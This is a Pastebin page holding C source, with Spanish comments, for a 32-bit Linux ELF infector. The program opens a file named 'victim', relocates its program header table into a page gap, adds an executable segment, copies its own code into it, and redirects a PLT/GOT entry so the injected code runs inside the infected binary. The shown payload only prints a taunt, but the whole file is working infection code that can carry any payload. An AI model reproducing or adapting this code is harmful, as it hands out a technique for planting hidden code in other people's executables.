Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Traslación de tabla de cabeceras de programa, ahora sobreescribiendo
- * los wrappers de la .plt
- * Copyright (C) 2012 Gonzalo J. Carracedo
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>
- */
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <elf.h>
- #include <stdint.h>
- /* Los includes pueden llegar a ser muy molestos. */
- #define O_RDWR 02
- # define SEEK_SET 0 /* Seek from beginning of file. */
- # define SEEK_CUR 1 /* Seek from current position. */
- # define SEEK_END 2 /* Seek from end of file. */
- /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
- cadena más o menos segura y es realmente complicada encontrarla por ca-
- sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
- en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
- coincidencia) */
- #define BOTTOM_MARKER_LOW 0x504b
- #define BOTTOM_MARKER_HIGH 0x5841
- #define TOP_MARKER_LOW BOTTOM_MARKER_LOW
- #define TOP_MARKER_HIGH BOTTOM_MARKER_HIGH
- #define NOT_INFECTED_MAGIC 0xdddddddd
- #define LOCAL_POINTER_OFFSET 12 /* Aquí he de guardar el inicio del código */
- #define SAVED_POINTER_OFFSET 18 /* Desplazamiento del puntero salvado */
- #define CODE_START_OFFSET 16 /* Desplazamiento del inicio del código */
- #define BOTTOM_MARKER 0x5841504b
- #define TOP_MARKER BOTTOM_MARKER
- /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
- /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
- sustituirá por la cadena "palabra" */
- #define _STRINGIFY(x) #x
- #define STRINGIFY(x) _STRINGIFY (x)
- /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
- el flag "a" le obliga a que la sección se cargue en memoria */
- asm (".section .code_bottom, \"xa\"");
- asm (".long " STRINGIFY (BOTTOM_MARKER));
- asm (".long 0");
- asm (".long 0"); /* Alineo */
- asm (".long 0xaaaaaaaa"); /* Puntero local */
- asm ("pushl (" STRINGIFY (NOT_INFECTED_MAGIC) ")"); /* Hacemos push del puntero salvado */
- asm ("pusha"); /* Salvamos registros */
- asm ("pushf"); /* Y el EFLAGS */
- asm ("call _start");
- asm ("popf"); /* Recuperamos EFLAGS */
- asm ("popa"); /* Y todos los registros */
- asm ("ret");
- asm (".section .code_top, \"xa\"");
- asm (".long " STRINGIFY (TOP_MARKER));
- /* Vamos a necesitar, por lo menos, todas estas syscalls:
- write, read, open, close y lseek */
- int
- write (int fd, const void *buf, int size)
- {
- int ret;
- asm volatile ("xchg %%ebx, %%esi\n"
- "int $0x80\n"
- "xchg %%ebx, %%esi\n" : "=a" (ret) :
- "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
- return ret;
- }
- static inline int
- read (int fd, void *buf, int size)
- {
- int ret;
- asm volatile ("xchg %%ebx, %%esi\n"
- "int $0x80\n"
- "xchg %%ebx, %%esi\n" : "=a" (ret) :
- "a" (__NR_read), "S" (fd), "c" (buf), "d" (size) :
- "memory"); /* read modifica la memoria */
- return ret;
- }
- static inline int
- lseek (int fd, int offset, int whence)
- {
- int ret;
- asm volatile ("xchg %%ebx, %%esi\n"
- "int $0x80\n"
- "xchg %%ebx, %%esi\n" : "=a" (ret) :
- "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
- return ret;
- }
- static int
- open (const char *path, int mode)
- {
- int ret;
- asm volatile ("xchg %%ebx, %%esi\n"
- "int $0x80\n"
- "xchg %%ebx, %%esi\n" : "=a" (ret) :
- "a" (__NR_open), "S" (path), "c" (mode));
- return ret;
- }
- static int
- close (int fd)
- {
- int ret;
- asm volatile ("xchg %%ebx, %%esi\n"
- "int $0x80\n"
- "xchg %%ebx, %%esi\n" : "=a" (ret) :
- "a" (__NR_close), "S" (fd));
- return ret;
- }
- /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
- muy útil para depurar. */
- void
- long2hex (unsigned int number, char *buf)
- {
- int i;
- char hexa[] = "0123456789abcdef";
- buf[8] = 0;
- for (i = 0; i < 8; i++)
- {
- buf[7 - i] = hexa[number & 0xf];
- number >>= 4;
- }
- }
- /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
- del %eip mediante un call (ya que no podemos calcular las direcciones de
- nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
- hacia arriba o hacia abajo hasta encontrarlos */
- void
- get_code_limits (uint32_t *bottom, uint32_t *top)
- {
- int i;
- uint32_t this_addr;
- /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
- de código en la que me hallo. El popl %0 saca la dirección de retorno
- que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
- inline assembly de GCC */
- /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
- que llamé 1 y que está hacia adelante. Esto de utilizar números para
- etiquetas se suele hacer mucho cuando la etiqueta hace referencia
- a un cacho de código que no está especialmente diferenciado del resto. */
- asm volatile ("call 1f\n"
- "1:\n"
- "popl %0\n" : "=g" (this_addr));
- /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
- últimos bits a cero. */
- this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
- this_addr = this_addr & 0xfffffffc que es un and
- en binario con todo 1 menos los dos últimos bits,
- esto fuerza a que el número esté alineado a 4. */
- /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
- nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
- dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
- El marcador está hacia "atrás", o sea que recorreremos la memoria
- restando. */
- for (i = this_addr; ; i -= 4)
- {
- if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
- if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
- {
- *bottom = i;
- break;
- }
- }
- /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
- nuestra memoria hacia adelante, sumando. */
- for (i = this_addr; ; i += 4)
- {
- if (*(uint16_t *) i == TOP_MARKER_LOW)
- if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
- {
- *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
- 4 bytes) también pertenece al código. */
- break;
- }
- }
- }
- /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
- infectable */
- int
- open_elf (const char *path, Elf32_Ehdr *Ehdr)
- {
- int fd;
- if ((fd = open (path, O_RDWR)) < 0)
- return -1; /* Error al abrir */
- if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
- {
- close (fd);
- return -1; /* Error al leer la cabecera */
- }
- if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
- Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
- Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
- Ehdr->e_ident[EI_MAG3] != ELFMAG3)
- {
- close (fd);
- return -1; /* Números mágicos incorrectos */
- }
- if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
- {
- close (fd);
- return -1; /* El ELF no es de 32 bits */
- }
- if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
- {
- close (fd);
- return -1; /* El ELF no es little endian */
- }
- if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
- {
- close (fd);
- return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
- }
- return fd;
- }
- /* Macro para alinear a tamaños */
- #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
- /* Debido a que en Linux los binarios se llevan a memoria mediante mmap,
- todos los segmentos deben estar alineados a la página, aunque empiecen
- un poco más arriba. Esto permite la existencia de brechas. Sin embargo,
- el tamaño de la brecha está acotado por dos magnitudes. La primera,
- que la brecha acaba cuando acaba la página, la segunda, el inicio de otro
- segmento antes del fin de la brecha. */
- /* Esta función medirá el tamaño de dicha brecha, y si cuadra, colará el
- nuevo segmento PT_LOAD al final */
- int
- move_phdrs (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *vaddr)
- {
- int i;
- int code_idx;
- size_t gap_size;
- off_t gap_start;
- Elf32_Phdr phdr;
- uint32_t lowest_va;
- uint32_t codebase;
- uint32_t gap_start_relative;
- lowest_va = 0xffffffff;
- /* Este bucle me calcula la dirección más alta del programa y me busca
- el segmento de código ejecutable. Si encuentra más de un segmento
- de código, pasamos de inyectar. */
- code_idx = -1;
- for (i = 0; i < Ehdr->e_phnum; i++)
- {
- if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
- return -1;
- if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
- return -1;
- if (phdr.p_type == PT_LOAD)
- {
- if (phdr.p_vaddr < lowest_va)
- lowest_va = phdr.p_vaddr;
- if (phdr.p_flags & PF_X)
- {
- if (code_idx != -1) /* ¿Dos segmentos de código? dew */
- return -1;
- codebase = phdr.p_vaddr;
- code_idx = i;
- }
- }
- }
- /* ¿No hay segmento de código? dew */
- if (code_idx == -1)
- return -1;
- lseek (fd, Ehdr->e_phoff + code_idx * sizeof (Elf32_Phdr), SEEK_SET);
- read (fd, &phdr, sizeof (Elf32_Phdr));
- /* Procedemos a medir el tamaño de la brecha. Podemos cacularlo así:
- Si nuestro segmento empieza en OFFSET y tiene SIZE bytes, entonces
- el segmento acabará (como offset relativo a su última página) en
- (OFFSET + SIZE) & 0xfff, con OFFSET + SIZE el desplazamiento del primer
- byte libre de la brecha.
- Si queremos saber cuánto espacio libre tenemos, basta con restar:
- 4096 - (OFFSET + SIZE) & 0xfff
- */
- /* Como precaución, alinearemos el tamaño del texto a 4. Estas
- estructuras suelen estar alineadas a 32 bits. */
- gap_start_relative = ALIGN (phdr.p_filesz, 4); /* Comienzo relativo al segmentp */
- gap_start = phdr.p_offset + gap_start_relative; /* Comienzo real */
- gap_size = 4096 - (gap_start & 0xfff); /* Tamaño */
- /* Sin embargo, la brecha está limitada por otra magnitud. ¿Qué pasa si un segmento
- empieza antes de que acabe la página del segmento de texto? Pues debemos comprobarlo
- también. */
- for (i = 0; i < Ehdr->e_phnum; i++)
- {
- if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
- return -1;
- if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
- return -1;
- /* ¿Está a caballo entre otro segmento? */
- if (phdr.p_type == PT_LOAD)
- if (gap_start <= phdr.p_offset && phdr.p_offset < gap_start + gap_size)
- gap_size = phdr.p_offset - gap_start; /* Corregimos */
- }
- /* Ya hemos superado todos los problemas. ¿Podemos añadir una entrada más ahí? */
- if (gap_size < (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr))
- return -1; /* Pues no */
- /* Comienza la copia de toda la tabla a la brecha */
- for (i = 0; i < Ehdr->e_phnum; i++)
- {
- lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
- read (fd, &phdr, sizeof (Elf32_Phdr));
- if (i == code_idx)
- {
- /* El segmento de código debe ser retocado para incluir la nueva tabla */
- phdr.p_filesz = phdr.p_memsz = ALIGN (phdr.p_filesz, 4) + gap_size;
- }
- else if (phdr.p_type == PT_PHDR)
- {
- /* El cargador utiliza esta cabecera para ubicar el resto de cabeceras
- de programa en memoria. Debemos dejársela bien arregladita.*/
- phdr.p_offset = gap_start; /* Ahora está en gap_start */
- phdr.p_filesz = phdr.p_memsz = (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr); /* Y mide tanto */
- phdr.p_vaddr = phdr.p_paddr = codebase + gap_start_relative; /* Y su dirección virtual es esta */
- }
- lseek (fd, gap_start + i * sizeof (Elf32_Phdr), SEEK_SET);
- if (write (fd, &phdr, sizeof (Elf32_Phdr)) < 0)
- return -1;
- }
- /* Aprovechamos para modificar la cabecera */
- Ehdr->e_phoff = gap_start;
- Ehdr->e_phnum++; /* Una más */
- /* Actualizamos */
- lseek (fd, 0, SEEK_SET);
- if (write (fd, Ehdr, sizeof (Elf32_Ehdr)) < 0)
- return -1;
- /* Ahora, en i: índice de la última cabecera */
- /* Construimos nuestra cabecera extra, igual que en el caso anterior */
- phdr.p_type = PT_LOAD;
- *vaddr = phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
- phdr.p_filesz = size;
- phdr.p_memsz = ALIGN (size, 4096);
- phdr.p_flags = PF_X | PF_R;
- phdr.p_offset = offset;
- phdr.p_align = 4096;
- lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
- if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
- return -1;
- return 0;
- }
- int
- inject (int fd, void *base, off_t offset, size_t size)
- {
- if (lseek (fd, offset, SEEK_SET) < 0)
- return -1;
- if (write (fd, base, size) < size)
- return -1;
- return 0;
- }
- #define DEBUG(x) write (1, x, sizeof (x) - 1)
- /* Código cerdísimo para hacer el chanchullo que modifica la PLT */
- int
- name_is_plt (int fd, Elf32_Ehdr *ehdr, uint32_t shstrtaboff, uint32_t index)
- {
- char buffer[5];
- off_t saved;
- if ((saved = lseek (fd, 0, SEEK_CUR)) < 0)
- return 0;
- lseek (fd, shstrtaboff + index, SEEK_SET);
- if (read (fd, buffer, 5) < 5)
- return 0;
- lseek (fd, saved, SEEK_SET);
- /* A falta de strcmp... */
- if (buffer[0] == '.' &&
- buffer[1] == 'p' &&
- buffer[2] == 'l' &&
- buffer[3] == 't' &&
- buffer[4] == '\0')
- return 1;
- return 0;
- }
- int
- look_for_plt (int fd, Elf32_Ehdr *ehdr, off_t *start, size_t *size)
- {
- int i;
- Elf32_Shdr shdr;
- uint32_t shstrtaboff;
- if (ehdr->e_shstrndx < 0)
- return -1;
- lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * ehdr->e_shstrndx, SEEK_SET);
- if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
- return -1;
- shstrtaboff = shdr.sh_offset;
- for (i = 0; i < ehdr->e_shnum; i++)
- {
- lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * i, SEEK_SET);
- if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
- return -1;
- if (name_is_plt (fd, ehdr, shstrtaboff, shdr.sh_name))
- {
- *start = shdr.sh_offset;
- *size = shdr.sh_size;
- return 0;
- }
- }
- return 0;
- }
- /* ff 25 XX XX XX XX 68 YY 00 00 00 e9 ZZ ZZ ff ff */
- int
- candidate_is_pltfunc (const char *bytes)
- {
- if (bytes[0] == '\xff' &&
- bytes[1] == '\x25' &&
- bytes[6] == '\x68' &&
- bytes[8] == '\x00' &&
- bytes[9] == '\x00' &&
- bytes[10] == '\x00' &&
- bytes[11] == '\xe9' &&
- bytes[14] == '\xff' &&
- bytes[15] == '\xff')
- return 1;
- return 0;
- }
- uint32_t
- look_for_pointer_to_change (int fd, off_t start, size_t size, uint32_t pagealign)
- {
- int i;
- char buffer[16];
- for (i = start; i < start + size - 16; i++)
- {
- lseek (fd, i, SEEK_SET);
- if (read (fd, buffer, 16) < 16)
- return -1;
- if (candidate_is_pltfunc (buffer))
- if ((*((uint32_t *) &buffer[2]) & 0xfff) == pagealign)
- return i + 2;
- }
- return (uint32_t) -1;
- }
- int
- alter_plt (int fd, Elf32_Ehdr *ehdr, uint32_t injected_code_start, uint32_t binsize_aligned)
- {
- off_t start;
- size_t size;
- uint32_t pointer_offset;
- uint32_t old_gotplt_pointer;
- uint32_t actual_code_start;
- uint32_t new_gotplt_pointer;
- if (look_for_plt (fd, ehdr, &start, &size) == -1)
- return -1;
- if ((pointer_offset = look_for_pointer_to_change (fd, start, size, LOCAL_POINTER_OFFSET)) == (uint32_t) -1)
- return -1;
- /* Ahora, @pointer_offset: desplazamiento (de archivo) del puntero al elemento
- de la .got.plt donde se guarda la dirección de la función resuelta */
- lseek (fd, pointer_offset, SEEK_SET);
- if (read (fd, &old_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
- return -1;
- new_gotplt_pointer = injected_code_start + LOCAL_POINTER_OFFSET;
- lseek (fd, pointer_offset, SEEK_SET);
- if (write (fd, &new_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
- return -1;
- /* Esto lo debemos guardar en donde empieza el binario, más SAVED_POINTER_OFFSET */
- lseek (fd, binsize_aligned + SAVED_POINTER_OFFSET, SEEK_SET);
- if (write (fd, &old_gotplt_pointer, sizeof (uint32_t)) < sizeof (uint32_t))
- return -1;
- /* Ahora, en binsize_aligned + LOCAL_POINTER_OFFSET: la dirección del
- inicio del código (injected_code_start + CODE_START_OFFSET) */
- actual_code_start = injected_code_start + CODE_START_OFFSET;
- lseek (fd, binsize_aligned + LOCAL_POINTER_OFFSET, SEEK_SET);
- if (write (fd, &actual_code_start, sizeof (uint32_t)) < sizeof (uint32_t))
- return -1;
- return 0;
- }
- void
- write_zeroes (int fd, int bytes)
- {
- int i;
- int null = 0;
- for (i = 0; i < bytes; i++)
- write (fd, &null, 1);
- }
- /* Este código se ejecutará dentro del binario infectado */
- void
- payload (void)
- {
- char msg[] = "YOUR PLT IS MINE NOW (the other way), U MAD???\n";
- write (1, msg, sizeof (msg) - 1);
- }
- /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
- void
- _start (void)
- {
- char buffer[9];
- Elf32_Ehdr Ehdr;
- size_t binsize;
- size_t binsize_aligned;
- size_t code_size;
- int fd;
- uint32_t *default_entry_point;
- uint32_t limit_bottom;
- uint32_t limit_top;
- uint32_t injected_code_start;
- get_code_limits (&limit_bottom, &limit_top);
- code_size = limit_top - limit_bottom;
- default_entry_point = (uint32_t *) ((void *) limit_bottom + SAVED_POINTER_OFFSET);
- /* Aquí tenemos dos casos, dependiendo de si estamos o no estamos dentro */
- if (*default_entry_point == NOT_INFECTED_MAGIC)
- {
- if ((fd = open_elf ("victim", &Ehdr)) == -1)
- {
- DEBUG ("No se pudo abrir el ejecutable victim.\n");
- for (;;);
- }
- binsize = lseek (fd, 0, SEEK_END);
- binsize_aligned = ALIGN (binsize, 4096);
- /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
- de página de x86 */
- write_zeroes (fd, binsize_aligned - binsize);
- if (move_phdrs (fd, &Ehdr, binsize_aligned, code_size, &injected_code_start) == -1)
- {
- DEBUG ("No se han podido mover las cabeceras.\n");
- for (;;);
- }
- if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
- {
- DEBUG ("No se pudo inyectar.\n");
- for (;;);
- }
- if (alter_plt (fd, &Ehdr, injected_code_start, binsize_aligned) == -1)
- {
- DEBUG ("No me pude enganchar\n");
- for (;;);
- }
- DEBUG ("Binario victim infectado.\n");
- for (;;);
- }
- else
- payload (); /* Código a ejecutar una vez infectado el ELF */
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement